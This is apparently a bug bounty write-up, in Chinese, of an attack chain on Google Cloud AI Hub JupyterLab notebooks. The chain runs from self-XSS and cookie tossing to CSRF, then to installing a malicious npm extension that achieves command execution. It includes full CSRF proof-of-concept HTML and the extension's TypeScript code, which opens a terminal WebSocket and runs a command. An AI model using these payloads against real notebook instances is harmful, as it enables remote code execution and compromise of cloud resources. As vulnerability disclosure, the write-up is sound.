Google Cloud JupyterLab的XSS到任意命令執行
Jupyter Lab介紹
JupyterLab 是一個基于 Web 的 Jupyter 筆記本、代碼和數據的交互式開發環境。JupyterLab 非常靈活。使用它我們可以運行代碼,也可以在 Web 界面中使用終端。最重要的是我們還可以編輯 Jupyter應用程序本身的代碼。

我是如何發現漏洞的?
在我大三的時候,我對 AI 和 CTF 非常感興趣,我在數據科學實習。大多數時候,我使用 Jupyter Notebooks 來訓練模型。所以,我對它的工作原理有了基本的了解。
后來,我開始做漏洞賞金,我的目標是 Google Cloud AI HUB。
谷歌云 AI HU
在 AI Hub 中,我們可以創建筆記本,當創建筆記本時,它會在后臺創建一個 VM 實例,安裝 Jupyter Notebook,并為筆記本實例分配隨機域 (random-id.notebooks.googleusercontent.com) . 通過 Google SSO 登錄筆記本實例。
self XSS
我知道筆記本中不可能直接出現 XSS ,但由于我們可以在我們的 VM 實例中訪問 Jupyter 筆記本本身的代碼庫這個前提,所以我嘗試:通過登錄到 VM 實例并更改位于/opt/conda/share/jupyter/lab/static的文件來更改 Jupyter Notebook 的源代碼,我們可以讓受害者訪問我們的筆記本實例并彈出一個警報。但這沒有用,因為它是一個self XSS。
接著,我開始想辦法讓它產生影響。
我們有self XSS 時,另一個值得關注的目標是 cookie。我檢查了 cookie 并且_xsrf cookie 引起了我的注意。CSRF 緩解是通過檢查 _xsrf 中的 cookie 值和X-XSRFToken 標頭值來完成的。如果這兩個值相等,則允許該請求。
self XSS轉為DOS
因為,我們可以在 notebooks.googleusercontent.com 上的域中設置 cookie xsrf=1 ,這使得來自受害者筆記本的每個下一個請求都會因為無效的xsrf令牌而被丟棄。我們可以更改 cookie 中的_xsrf令牌,如果我們可以更改 X-XSRFToken 標頭,我們也可以在筆記本上實現 CSRF。但是,我們無法設置此標頭,因為當我們在請求中設置 X-XSRFToken 標頭時,瀏覽器會發出 XHR 預檢請求。
發現了DOS漏洞,但是沒有太大的作用,所以,我認為這是一個死胡同,后來開始審查 Jupyter Notebook 的源代碼......
Tornado web服務器 來拯救 CSRF
我注意到 Jupyter 使用了 tornado 服務器
有一個有趣的點:在 tornado 服務器 來緩解CSRF攻擊如下:
如果設置了 xsrf_cookies,Tornado Web 應用程序將為所有用戶設置 _xsrf cookie,并拒絕所有不包含正確 _xsrf 值的 POST、PUT 和 DELETE 請求。如果打開此設置,則需要檢測通過 POST 提交的所有表單以包含此字段。您可以使用所有模板中提供的特殊 UIModule xsrf_form_html() 來完成此操作
xsrf_form_html()的代碼
def xsrf_form_html(self) -> str: """An HTML ``<input/>`` element to be included with all POST forms. It defines the ``_xsrf`` input value, which we check on all POST requests to prevent cross-site request forgery. If you have set the ``xsrf_cookies`` application setting, you must include this HTML within all of your HTML forms. In a template, this method should be called with ``{% module xsrf_form_html() %}`` See `check_xsrf_cookie()` above for more information. """ return ( '<input type="hidden" name="_xsrf" value="' + escape.xhtml_escape(self.xsrf_token) + '"/>' )
所以,這意味著我們可以在請求 URL 中發送 CSRF 令牌,而不是 X-XSRFToken 標頭。
這是一個不錯的小功能,我們可以在請求中使用_xsrf標記而不是標頭。
我們不需要擔心下面顯示的 cookie 優先級,因為基域上的 cookie 優先于子域上的 cookie。
CSRF 的 POC:
<html><form action="https://victim(randomId)-dot-us-west1.notebooks.googleusercontent.com/lab?authuser=1/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain"> <input type="hidden" name="any post data" /> <input type="submit" value="Submit request" /> </form><script type="text/javascript"> var base_domain = document.domain.substr(document.domain.indexOf('.')); document.cookie='_xsrf=1;Domain='+base_domain; console.log('done'); document.forms[0].submit();</script></html
現在我們有了 CSRF,重要的任務是更好的利用它來擴大危害。
JupyterLab 擴展可以自定義或增強 JupyterLab 的任何部分。它們可以提供新的主題、文件查看器和編輯器,或用于筆記本中豐富輸出的渲染器。擴展可以將項目添加到菜單或命令面板、鍵盤快捷鍵或設置系統中的設置
我首先看的是擴展,因為它們允許我們在受害者實例中運行任意代碼。
原來是使用 CSRF,我們可以在受害者筆記本實例中安裝任意擴展。
現在的任務是創建一個惡意擴展,在受害者筆記本實例中提供 RCE。
我創建了這個擴展,它打開到終端端點的 WebSocket 連接并運行任意代碼。(可以通過其他更簡單的方式完成)
import { JupyterFrontEnd, JupyterFrontEndPlugin} from '@jupyterlab/application';
const extension: JupyterFrontEndPlugin<void> = { id: 'test', autoStart: true, activate: (app: JupyterFrontEnd) => { alert(document.cookie); console.log("started !!!"); var xhttp = new XMLHttpRequest; var termUri = location.origin + "/api/terminals"; xhttp.open("POST", termUri, true); xhttp.withCredentials = true; xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { console.log("request successfull!!! "); var resp = xhttp.responseText.split('"'); var terminal_id = resp[3]; var wsUri = "wss://"+location.host+"/terminals/websocket/"+terminal_id; var ws = new WebSocket(wsUri); ws.onopen = function(evt) { ws.send('["stdin","touch pwned.txt\\r"]'); }; console.log("file created pwned.txt!!! "); } }; xhttp.send(); }};export default extension;
并將其推送到: npm https://www.npmjs.com/package/@mohansrk/test
最終POC
<html><form action="https://randomid-dot-australia-southeast1.notebooks.googleusercontent.com/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain"> <input type="hidden" name="{\"cmd\":\"install\",\"extension_name\":\"@mohansrk/test\",\"dummy\":\"\" value=\"dummy\"}" /> <input type="submit" value="Submit request" /> </form><script type="text/javascript"> var base_domain = document.domain.substr(document.domain.indexOf('.')); document.cookie='_xsrf=1;Domain='+base_domain; console.log('done'); document.forms[0].submit();</script></html>
獲得 RCE 后,我們就可以訪問大部分 Google Cloud,因為 VM 實例默認具有編輯角色。